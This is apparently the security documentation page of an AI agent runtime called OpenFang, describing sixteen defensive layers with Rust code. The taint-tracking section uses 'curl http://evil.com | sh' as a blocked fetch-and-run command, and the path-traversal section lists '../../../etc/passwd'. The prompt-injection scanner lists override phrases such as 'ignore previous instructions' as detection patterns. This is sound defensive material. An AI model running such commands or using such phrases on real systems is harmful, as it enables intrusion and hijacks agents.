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Defense in Depth

OpenFang doesn’t bolt security on after the fact. Every layer is independently testable and operates without a single point of failure. If one defense is bypassed, 15 others still stand.
Security is compiled in — not configured. You get all 16 systems by default in the single binary.

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The 16 Security Systems

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1. WASM Dual-Metered Sandbox

Untrusted code (skills, plugins) runs in a WebAssembly sandbox with two independent metering systems:
Every WASM instruction consumes “fuel”. When the budget is exhausted, execution halts:
let config = SandboxConfig {
    fuel_limit: 1_000_000,  // ~10ms of CPU time
    ..Default::default()
};

match sandbox.execute(wasm_bytes, input, config).await {
    Err(SandboxError::FuelExhausted) => {
        // Skill exceeded CPU budget
    }
    Ok(result) => {
        println!("Consumed {} fuel", result.fuel_consumed);
    }
}
This prevents CPU-bound attacks and ensures fair resource sharing.
A watchdog thread kills WASM execution after a wall-clock timeout (default: 30 seconds):
let engine_clone = engine.clone();
std::thread::spawn(move || {
    std::thread::sleep(Duration::from_secs(30));
    engine_clone.increment_epoch();  // Triggers interrupt
});
This prevents blocking attacks (e.g., infinite loops waiting for I/O).
Skills cannot:
  • Access the filesystem
  • Make network requests
  • Call system APIs
  • Read environment variables
  • Escape the sandbox
They can call capability-checked host functions via host_call().

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2. Merkle Hash-Chain Audit Trail

Every security-critical action is recorded in an append-only, tamper-evident audit log: 
pub struct AuditEntry {
    pub seq: u64,              // Monotonic sequence number
    pub timestamp: String,
    pub agent_id: String,
    pub action: AuditAction,   // ToolInvoke, FileAccess, etc.
    pub detail: String,
    pub outcome: String,
    pub prev_hash: String,     // SHA-256 of previous entry
    pub hash: String,          // SHA-256 of this entry + prev_hash
}
Each entry’s hash includes the previous hash, forming a chain. Tampering with any entry breaks the chain.
1

Record Action

audit_log.record(
    agent_id,
    AuditAction::FileAccess,
    "/etc/passwd",
    "denied"
);
2

Verify Integrity

match audit_log.verify_integrity() {
    Ok(()) => println!("Chain intact"),
    Err(msg) => panic!("Tamper detected: {}", msg),
}
3

Query via API

curl http://localhost:4200/api/audit/recent?agent_id=a1
curl http://localhost:4200/api/audit/verify
The audit log is append-only. There is no API to delete or modify entries. This ensures forensic integrity.

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3. Information Flow Taint Tracking

Data from untrusted sources (user input, web scraping, LLM output) is labeled and tracked through the execution pipeline: 
pub enum TaintLabel {
    UserInput,
    ExternalNetwork,
    LlmGenerated,
    Credential,
}

pub struct TaintedValue<T> {
    value: T,
    labels: HashSet<TaintLabel>,
    source: String,
}
Before sensitive operations (shell execution, network requests), the runtime checks if tainted data is reaching a restricted sink: 
pub struct TaintSink {
    allowed_labels: HashSet<TaintLabel>,
    name: String,
}

impl TaintSink {
    pub fn shell_exec() -> Self {
        Self {
            allowed_labels: HashSet::new(),  // No tainted data allowed!
            name: "shell_exec".to_string(),
        }
    }
}
Example: Blocking Shell Injection 
let user_input = TaintedValue::new(
    "curl http://evil.com | sh",
    hashset!{TaintLabel::UserInput},
    "http_response"
);

let sink = TaintSink::shell_exec();

match user_input.check_sink(&sink) {
    Ok(()) => { /* Safe to execute */ }
    Err(violation) => {
        // "taint violation: label 'UserInput' from source 'http_response'
        //  is not allowed to reach sink 'shell_exec'"
        warn!("{}", violation);
    }
}
This prevents:
  • Shell injection from LLM-generated commands
  • Data exfiltration of credentials to network sinks
  • Path traversal from user-controlled file paths

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4. Ed25519 Signed Agent Manifests

Every agent manifest can be cryptographically signed to verify authenticity: 
use ed25519_dalek::{SigningKey, VerifyingKey, Signature};

// Sign a manifest
let signing_key = SigningKey::generate(&mut OsRng);
let signature = sign_manifest(&manifest, &signing_key)?;

// Verify
let verifying_key = signing_key.verifying_key();
verify_manifest(&manifest, &signature, &verifying_key)?;
This prevents:
  • Manifest tampering by third parties
  • Capability escalation by modifying manifests
  • Supply chain attacks via skill marketplace
Signing is optional for local development but required for publishing to FangHub.

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5. SSRF Protection

Every URL passed to web_fetch or MCP clients is validated before DNS resolution: 
fn is_ssrf_blocked(url: &str) -> Result<(), String> {
    let parsed = Url::parse(url)?;
    let hostname = parsed.host_str().ok_or("No hostname")?;
    
    // Block metadata endpoints
    if hostname == "169.254.169.254" || hostname == "metadata.google.internal" {
        return Err("SSRF blocked: metadata endpoint");
    }
    
    // Resolve and check IP
    let addrs: Vec<IpAddr> = (hostname, 0).to_socket_addrs()?.map(|s| s.ip()).collect();
    
    for ip in addrs {
        if ip.is_loopback() || ip.is_private() {
            return Err(format!("SSRF blocked: {} resolves to private IP {}", hostname, ip));
        }
    }
    
    Ok(())
}
Blocked targets:
  • 127.0.0.1, localhost, 0.0.0.0
  • Private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • Cloud metadata endpoints: 169.254.169.254, metadata.google.internal
  • DNS rebinding attacks (checked after resolution)

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6. Secret Zeroization

API keys and secrets use Zeroizing<String> to wipe memory on drop: 
use zeroize::Zeroizing;

pub struct ApiKeyConfig {
    pub provider: String,
    pub key: Zeroizing<String>,  // Auto-zeroed when dropped
}

impl Drop for ApiKeyConfig {
    fn drop(&mut self) {
        // `Zeroizing` overwrites memory with zeros before deallocation
    }
}
This prevents:
  • Memory dumps from exposing API keys
  • Swap file leakage of credentials
  • Core dumps containing secrets

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7. OFP Mutual Authentication

The OpenFang Peer Protocol uses HMAC-SHA256 for mutual authentication: 
fn hmac_sign(secret: &str, data: &[u8]) -> String {
    let mut mac = Hmac::<Sha256>::new_from_slice(secret.as_bytes()).unwrap();
    mac.update(data);
    hex::encode(mac.finalize().into_bytes())
}

fn hmac_verify(secret: &str, data: &[u8], signature: &str) -> bool {
    let expected = hmac_sign(secret, data);
    subtle::ConstantTimeEq::ct_eq(expected.as_bytes(), signature.as_bytes()).into()
}
Handshake flow:
  1. Node A generates a nonce and sends: HELLO {node_id} {nonce} {hmac}
  2. Node B verifies HMAC, generates its own nonce, replies: HELLO_ACK {node_id} {nonce} {hmac}
  3. Node A verifies HMAC, replies: ACK_CONFIRM
  4. Authenticated connection established
This prevents:
  • Replay attacks (nonces are single-use)
  • Man-in-the-middle (both parties prove knowledge of shared secret)
  • Impersonation (HMAC verification fails without secret)

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8. Capability Gates

Every tool call is checked against the agent’s capability set: 
pub fn check_capability(
    agent: &AgentManifest,
    tool: &ToolDefinition,
) -> Result<(), &'static str> {
    let required_cap = match tool.name.as_str() {
        "file_read" => Capability::FileRead,
        "file_write" => Capability::FileWrite,
        "shell_exec" => Capability::ShellExec,
        "web_fetch" => Capability::NetworkAccess,
        "spawn_agent" => Capability::AgentSpawn,
        _ => return Ok(()),  // No capability required
    };
    
    if !agent.capabilities.contains(&required_cap) {
        return Err("capability denied");
    }
    
    Ok(())
}
The kernel enforces this before the runtime executes any tool. Denied calls are audited.

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9. Security Headers

The API server sets defense-in-depth HTTP headers on every response: 
axum::middleware::from_fn(|req, next| async move {
    let mut res = next.run(req).await;
    res.headers_mut().insert(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
    );
    res.headers_mut().insert("X-Frame-Options", "DENY");
    res.headers_mut().insert("X-Content-Type-Options", "nosniff");
    res.headers_mut().insert(
        "Strict-Transport-Security",
        "max-age=31536000; includeSubDomains"
    );
    res
});
This mitigates:
  • XSS attacks (CSP)
  • Clickjacking (X-Frame-Options)
  • MIME sniffing (X-Content-Type-Options)
  • Protocol downgrade (HSTS)

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10. Health Endpoint Redaction

Public health checks return minimal information: 
// GET /api/health (public)
{
    "status": "ok",
    "uptime_seconds": 3600
}

// GET /api/health/full (requires auth)
{
    "status": "ok",
    "uptime_seconds": 3600,
    "agents_active": 5,
    "memory_usage_mb": 42,
    "llm_calls_last_hour": 120,
    "audit_chain_length": 1543,
    "kernel_version": "0.3.24"
}
This prevents reconnaissance by unauthenticated attackers.

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11. Subprocess Sandbox

When agents spawn shell commands, the runtime:
  1. Clears the environment with env_clear()
  2. Passes only whitelisted variables (PATH, HOME, HAND_ALLOWED_ENV)
  3. Isolates the process tree (no access to parent or siblings)
  4. Enforces timeouts with cross-platform kill
let output = Command::new("sh")
    .arg("-c")
    .arg(command)
    .env_clear()  // Wipe all env vars
    .env("PATH", safe_path)  // Restricted PATH
    .envs(hand_allowed_env)  // Only whitelisted vars
    .stdout(Stdio::piped())
    .stderr(Stdio::piped())
    .spawn()?
    .wait_timeout(Duration::from_secs(120))?;

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12. Prompt Injection Scanner

Skill content (SKILL.md files) is scanned for injection patterns before loading: 
const INJECTION_PATTERNS: &[&str] = &[
    "ignore previous instructions",
    "disregard all prior",
    "system: you are now",
    "<|im_start|>",
    "<|endoftext|>",
    "\u200b",  // Zero-width space
];

fn scan_for_injection(skill_content: &str) -> Result<(), String> {
    let lower = skill_content.to_lowercase();
    for pattern in INJECTION_PATTERNS {
        if lower.contains(pattern) {
            return Err(format!("Detected injection pattern: {}", pattern));
        }
    }
    Ok(())
}
Skills with detected patterns are rejected at load time.

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13. Loop Guard

Detects when an agent is stuck in a tool-call loop: 
pub struct LoopGuardConfig {
    pub max_iterations: u32,           // Hard iteration cap (default: 50)
    pub max_same_tool_streak: u32,     // Same tool N times (default: 5)
    pub max_tool_pair_ping_pong: u32,  // A→B→A→B pattern (default: 3)
}
When triggered, the guard injects a warning message and allows one more iteration before halting.

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14. Session Repair

Corrupted or malformed message histories are automatically repaired: 
pub fn repair_session(session: &mut Session) -> RepairReport {
    let mut report = RepairReport::default();
    
    // 7-phase validation and repair:
    // 1. Remove duplicate messages
    // 2. Fix message role alternation (user/assistant/user/...)
    // 3. Validate tool call references
    // 4. Truncate oversized messages
    // 5. Remove orphaned tool results
    // 6. Fix timestamp ordering
    // 7. Recompute session checksum
    
    report
}
This prevents session corruption attacks and gracefully handles LLM output errors.

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15. Path Traversal Prevention

All file operations use canonical path resolution: 
fn safe_resolve_path(base: &Path, relative: &str) -> Result<PathBuf, String> {
    let joined = base.join(relative);
    let canonical = joined.canonicalize()
        .map_err(|e| format!("Path canonicalization failed: {}", e))?;
    
    // Ensure the canonical path is still within base
    if !canonical.starts_with(base.canonicalize()?) {
        return Err("Path traversal detected".to_string());
    }
    
    Ok(canonical)
}
Blocked attempts:
  • ../../../etc/passwd
  • Symlinks that escape the workspace
  • Absolute paths outside the agent’s workspace

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16. GCRA Rate Limiter

A cost-aware token bucket rate limiter protects API endpoints: 
pub struct GcraRateLimiter {
    buckets: DashMap<IpAddr, Bucket>,
    capacity: u32,      // Max tokens
    refill_rate: u32,   // Tokens per second
}

impl GcraRateLimiter {
    pub fn check(&self, ip: IpAddr, cost: u32) -> RateLimitResult {
        let mut bucket = self.buckets.entry(ip).or_insert_with(|| Bucket::new(self.capacity));
        
        if bucket.tokens < cost {
            return RateLimitResult::Denied {
                retry_after: bucket.next_refill_seconds(),
            };
        }
        
        bucket.tokens -= cost;
        RateLimitResult::Allowed
    }
}
Default limits:
  • 100 requests/minute per IP
  • 10,000 tokens/hour per user
  • Automatic stale bucket cleanup every 5 minutes

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Security Scorecard

SystemPurposeAttack Vector Mitigated
WASM SandboxIsolate untrusted codeRCE, resource exhaustion
Audit TrailTamper detectionForensic integrity, privilege escalation
Taint TrackingData flow controlInjection, exfiltration
Manifest SigningIdentity verificationSupply chain, tampering
SSRF ProtectionNetwork validationMetadata access, internal scans
Secret ZeroizationMemory hygieneCredential leakage
OFP AuthP2P trustMITM, replay, impersonation
Capability GatesPermission enforcementUnauthorized access
Security HeadersBrowser defenseXSS, clickjacking, downgrade
Health RedactionInfo disclosureReconnaissance
Subprocess SandboxShell isolationEnv poisoning, privilege esc
Injection ScannerPrompt safetyJailbreak, override
Loop GuardRunaway preventionDoS, cost explosion
Session RepairCorruption recoverySession fixation, poisoning
Path TraversalFilesystem boundaryArbitrary file access
Rate LimiterAbuse preventionDoS, credential stuffing

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Testing Security

OpenFang includes property-based security tests: 
# Taint tracking property tests
cargo test -p openfang-types taint

# Audit chain integrity tests
cargo test -p openfang-runtime audit

# Path traversal attack tests
cargo test -p openfang-runtime test_file_read_path_traversal_blocked

# SSRF protection tests
cargo test -p openfang-runtime test_web_fetch_ssrf_blocked

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Reporting Vulnerabilities

Do NOT open public GitHub issues for security vulnerabilities.
Email: [email protected] Include:
  • Description of the vulnerability
  • Steps to reproduce
  • Affected versions
  • Potential impact assessment
  • Suggested fix (if any)
Response timeline:
  • Acknowledgment within 48 hours
  • Initial assessment within 7 days
  • Fix timeline communicated within 14 days
  • Credit given in advisory (unless you prefer anonymity)

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Next Steps

Architecture

Understand the 14-crate security boundaries

Agent Lifecycle

See where capability checks happen in the agent loop

RBAC & Permissions

Configure multi-user access control

Audit API

Query the audit log programmatically